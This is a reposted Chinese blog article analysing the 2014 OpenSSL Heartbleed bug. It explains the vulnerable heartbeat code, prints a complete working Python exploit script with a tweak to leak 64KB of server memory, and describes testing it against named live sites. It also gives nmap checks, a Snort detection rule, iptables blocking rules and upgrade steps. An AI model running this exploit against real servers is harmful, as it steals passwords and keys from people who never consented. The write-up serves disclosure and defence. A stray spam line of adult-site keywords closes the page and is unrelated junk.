溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Openssl“心臟出血”漏洞分析及其利用

發布時間:2020-07-30 11:59:01 來源:網絡 閱讀:5496 作者:simeon2005 欄目:安全技術
本帖最后由 simeon 于 2014-4-11 10:54 編輯

www.antian365.com simeon
一、openssl漏洞形成原因
4月7日,互聯網安全協議OpenSSL被曝存在一個十分嚴重的安全漏洞。在***社區,它被命名為“心臟出血”,表明網絡上出現了“致命內傷”。利用該漏洞,***可以獲取約30%的https開頭網址的用戶登錄賬號密碼,其中包括購物、網銀、社交、門戶等類型的知名網站。該漏洞最早公布時間為4月7日,原文作者為Sean Cassidy 在其blog上發表“existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug”(http://blog.existentialize.com/d ... heartbleed-bug.html)。2014年4月7日OpenSSL發布了安全公告,在OpenSSL1.0.1版本中存在嚴重漏洞(CVE-2014-0160),此次漏洞問題存在于ssl/dl_both.c文件中。OpenSSL Heartbleed模塊存在一個BUG,當***者構造一個特殊的數據包,滿足用戶心跳包中無法提供足夠多的數據會導致memcpy把SSLv3記錄之后的數據直接輸出,該漏洞導致***者可以遠程讀取存在漏洞版本的openssl服務器內存中長大64K的數據。
1.漏洞分析
漏洞存在文件ssl/dl_both.c,漏洞的補丁從這行語句開始:
int            
dtls1_process_heartbeat(SSL *s)
   {          
   unsigned char *p = &s->s3->rrec.data[0], *pl;
   unsigned short hbtype;
   unsigned int payload;
   unsigned int padding = 16; /* Use minimum padding */
結構體SSL3_RECORD的定義如下
typedef struct ssl3_record_st
   {
       int type;               /* type of record */
       unsigned int length;    /* How many bytes available */
       unsigned int off;       /* read/write offset into 'buf' */
       unsigned char *data;    /* pointer to the record data */
       unsigned char *input;   /* where the decode bytes are */
       unsigned char *comp;    /* only used with decompression - malloc()ed */
       unsigned long epoch;    /* epoch number, needed by DTLS1 */
       unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
   } SSL3_RECORD;
每條SSLv3記錄中包含一個類型域(type)、一個長度域(length)和一個指向記錄數據的指針(data)。在dtls1_process_heartbeat中:
/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;
SSLv3記錄的第一個字節標明了心跳包的類型。宏n2s從指針p指向的數組中取出前兩個字節,并把它們存入變量payload中——這實際上是心跳包載荷的長度域(length)。注意程序并沒有檢查這條SSLv3記錄的實際長度。變量pl則指向由訪問者提供的心跳包數據。
這個函數的后面進行了以下工作:
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 byte
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
所以程序將分配一段由訪問者指定大小的內存區域,這段內存區域最大為 (65535 + 1 + 2 + 16) 個字節。變量bp是用來訪問這段內存區域的指針。
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
宏s2n與宏n2s干的事情正好相反:s2n讀入一個16 bit長的值,然后將它存成雙字節值,所以s2n會將與請求的心跳包載荷長度相同的長度值存入變量payload。然后程序從pl處開始復制payload個字節到新分配的bp數組中——pl指向了用戶提供的心跳包數據。最后,程序將所有數據發回給用戶。
2.用戶可以控制變量payload和pl成為可利用漏洞
如果用戶并沒有在心跳包中提供足夠多的數據,會導致什么問題?比如pl指向的數據實際上只有一個字節,那么memcpy會把這條SSLv3記錄之后的數據——無論那些數據是什么——都復制出來。
二、可利用POC及其測試
1、poc獲取
漏洞公布后不久網上就出現了國外牛人們寫的POC,在該漏洞發布的第一時間我們對此漏洞進行了分析與驗證是否能夠獲取一些敏感信息。漏洞發布的同時***可利用的腳本也已經在網絡中流傳。下面漏洞利用腳本的下載地址:
http://s3.jspenguin.org/ssltest.py  (python腳本)
http://pan.baidu.com/s/1nt3BnVB  (python腳本)
https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
https://raw.githubusercontent.co ... ter/ssltest-stls.py
網上在線檢測:
http://possible.lv/tools/hb/
http://filippo.io/Heartbleed/
2. poc代碼
將以下代碼保存為ssltest.py文件,Poc代碼如下:

  1. #!/usr/bin/python


  2. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email]jspenguin@jspenguin.org[/email])

  3. # The author disclaims copyright to this source code.


  4. import sys

  5. import struct

  6. import socket

  7. import time

  8. import select

  9. import re

  10. from optparse import OptionParser


  11. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

  12. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')


  13. def h3bin(x):

  14.    return x.replace(' ', '').replace('\n', '').decode('hex')


  15. hello = h3bin('''

  16. 16 03 02 00  dc 01 00 00 d8 03 02 53

  17. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

  18. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

  19. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

  20. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

  21. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

  22. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

  23. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

  24. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

  25. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

  26. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

  27. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

  28. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

  29. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

  30. 00 0f 00 01 01                                  

  31. ''')


  32. hb = h3bin('''

  33. 18 03 02 00 03

  34. 01 40 00

  35. ''')


  36. def hexdump(s):

  37.    for b in xrange(0, len(s), 16):

  38.        lin = [c for c in s[b : b + 16]]

  39.        hxdat = ' '.join('%02X' % ord(c) for c in lin)

  40.        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

  41.        print '  %04x: %-48s %s' % (b, hxdat, pdat)

  42.    print


  43. def recvall(s, length, timeout=5):

  44.    endtime = time.time() + timeout

  45.    rdata = ''

  46.    remain = length

  47.    while remain > 0:

  48.        rtime = endtime - time.time()

  49.        if rtime < 0:

  50.            return None

  51.        r, w, e = select.select([s], [], [], 5)

  52.        if s in r:

  53.            data = s.recv(remain)

  54.            # EOF?

  55.            if not data:

  56.                return None

  57.            rdata += data

  58.            remain -= len(data)

  59.    return rdata



  60. def recvmsg(s):

  61.    hdr = recvall(s, 5)

  62.    if hdr is None:

  63.        print 'Unexpected EOF receiving record header - server closed connection'

  64.        return None, None, None

  65.    typ, ver, ln = struct.unpack('>BHH', hdr)

  66.    pay = recvall(s, ln, 10)

  67.    if pay is None:

  68.        print 'Unexpected EOF receiving record payload - server closed connection'

  69.        return None, None, None

  70.    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

  71.    return typ, ver, pay


  72. def hit_hb(s):

  73.    s.send(hb)

  74.    while True:

  75.        typ, ver, pay = recvmsg(s)

  76.        if typ is None:

  77.            print 'No heartbeat response received, server likely not vulnerable'

  78.            return False


  79.        if typ == 24:

  80.            print 'Received heartbeat response:'

  81.            hexdump(pay)

  82.            if len(pay) > 3:

  83.                print 'WARNING: server returned more data than it should - server is vulnerable!'

  84.            else:

  85.                print 'Server processed malformed heartbeat, but did not return any extra data.'

  86.            return True


  87.        if typ == 21:

  88.            print 'Received alert:'

  89.            hexdump(pay)

  90.            print 'Server returned error, likely not vulnerable'

  91.            return False


  92. def main():

  93.    opts, args = options.parse_args()

  94.    if len(args) < 1:

  95.        options.print_help()

  96.        return


  97.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  98.    print 'Connecting...'

  99.    sys.stdout.flush()

  100.    s.connect((args[0], opts.port))

  101.    print 'Sending Client Hello...'

  102.    sys.stdout.flush()

  103.    s.send(hello)

  104.    print 'Waiting for Server Hello...'

  105.    sys.stdout.flush()

  106.    while True:

  107.        typ, ver, pay = recvmsg(s)

  108.        if typ == None:

  109.            print 'Server closed connection without sending Server Hello.'

  110.            return

  111.        # Look for server hello done message.

  112.        if typ == 22 and ord(pay[0]) == 0x0E:

  113.            break


  114.    print 'Sending heartbeat request...'

  115.    sys.stdout.flush()

  116.    s.send(hb)

  117.    hit_hb(s)


  118. if __name__ == '__main__':

  119.    main()


復制代碼

3.具體測試方法
openssl.py / ssltest.py,用法:python openssl.py ip/域名 -p 端口
網上POC作者公布的代碼每次只dump 16kb 內存,如果需要dump 64kb內存需要做如下修改:
hb = h3bin('''
18 03 02 00 03
01 40 00  //此處修改為01 ff ff
''')
將“for b in xrange(0, len(s), 16)”改成“for b in xrange(0, len(s), 64)”
后期還出現支持支持smtp, pop3, imap, ftp, or xmpp的POC(http://lcx.cc/?i=4276)。
三、openssl檢測技術
利用openssl心臟出血漏洞利用代碼,筆者第一時間進行測試,測試分為兩個方面,一個是通過網頁在線檢測,另外就是通過腳本直接獲取內存內容。
1.網頁檢測
網頁檢測使用網站“http://possible.lv/tools/hb/”效果較好,打開該頁面后,在輸入框中輸入網站域名地址即可,如果默認端口不是443,則需要輸入具體的端口,例如www.somesite.com:4433,則表示端口為4433,檢測會有進度條顯示,100%后,會在下面顯示檢測結果。如圖1所示,則表示不存在漏洞。隨機更換一個網站地址,如圖2所示,獲取該網站存在漏洞。
Openssl“心臟出血”漏洞分析及其利用
圖1在線檢測漏洞
Openssl“心臟出血”漏洞分析及其利用
圖2獲取kuaiyinpan.com存在漏洞
2.通過py腳本進行檢測
在linux 終端窗口中輸入“python ssltest.py 66.175.219.225  -p 443”命令,如圖3所示獲取該漏洞提示信息“ver=0302”該版本表示存在漏洞。在獲取的內容中可能會包含用戶密碼和用戶名等信息。
Openssl“心臟出血”漏洞分析及其利用
圖3通過py腳本進行測試
3.對存在漏洞的網站進行掃描檢測
下載nmap最新版本,在本地進行編譯,或者使用命令進行更新“nmap --script-updatedb”,或者下載“wgethttps://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse”,世界測試過程中直接下載該腳本會缺少一些模塊,然后通過以下命令進行掃描:
nmap -p 443 --script ssl-heartbleed 66.175.219.225
如果存在漏洞,則會給出該漏洞的相關提示,如圖4所示。
Openssl“心臟出血”漏洞分析及其利用
圖4掃描檢測存在漏洞服務器
4.通用Snort規則檢測
由于眾所周知的SSL協議是加密的,我們目前沒有找到提取可匹配規則的方法,我們嘗試編寫了一條基于返回數據大小的檢測規則,其有效性我們會繼續驗證,如果有問題歡迎反饋。alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)
Snort規則說明:此次漏洞主要針對的SSL協議。是針對心跳數據包前4個字節中包含\x18\x03,而在數據包第5個字節和第6個字節的數值按大尾模式轉化成數值在200和16385之間,在后面則是一些報警和過濾功能,日志記錄里,每10分鐘記錄一次。
四、修復建議
   1.openssl心臟出血漏洞受影響版本
通過實際測試,受影響版本:
OpenSSL 1.0.2-beta
OpenSSL 1.0.1 - OpenSSL 1.0.1f
不受影響版本:
OpenSSL 1.0.1g is NOT vulnerable
OpenSSL 1.0.0 branch is NOT vulnerable
OpenSSL 0.9.8 branch is NOT vulnerable
2.修復建議
(1)升級openssl軟件。要解決此漏洞,建議服務器管理員或使用1.0.1g版,或使用-DOPENSSL_NO_HEARTBEATS選項重新編譯OpenSSL,從而禁用易受***的功能,直至可以更新服務器軟件。(OpenSSL官方)最新版本升級地址為:https://www.openssl.org/source/.
(2)重新編譯OpenSSL并去掉DOPENSSL_NO_HEARTBEATS擴展。
$ echo -e "B\n" | openssl s_client -connect targetwebsite:443 -tlsextdebug 2>&1| grep 'heartbeart'
(3)如果不能升級OpenSSL可以更新IPTable防火墻規則。t# Log rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \
"52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"
# Block rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP
3.centos修復方法參考
(1)yum方法安裝
yum search openssl
yum install openssl    
/etc/init.d/nginx restart   #然后重啟nginx
(2)下載編譯安裝
wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
cd openssl-1.0.1g
./config
make && make install
/etc/init.d/nginx restart #重啟nginx

參考文章:
(1)http://blog.existentialize.com/d ... heartbleed-bug.html
(2)http://drops.wooyun.org/papers/1381
(3)http://bbs.safedog.cn/thread-60096-1-1.html
(4)http://www.techweb.com.cn/ucweb/news/id/2025856
(5)測試工具包下載地址:
http://www.antian365.com/forum.p ... id=12061&extra=
http://www.antian365.com/tools/0day/openssl.zip
(6)判斷是否支持Heartbeat的NSE腳本http://www.freebuf.com/articles/system/31499.html


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女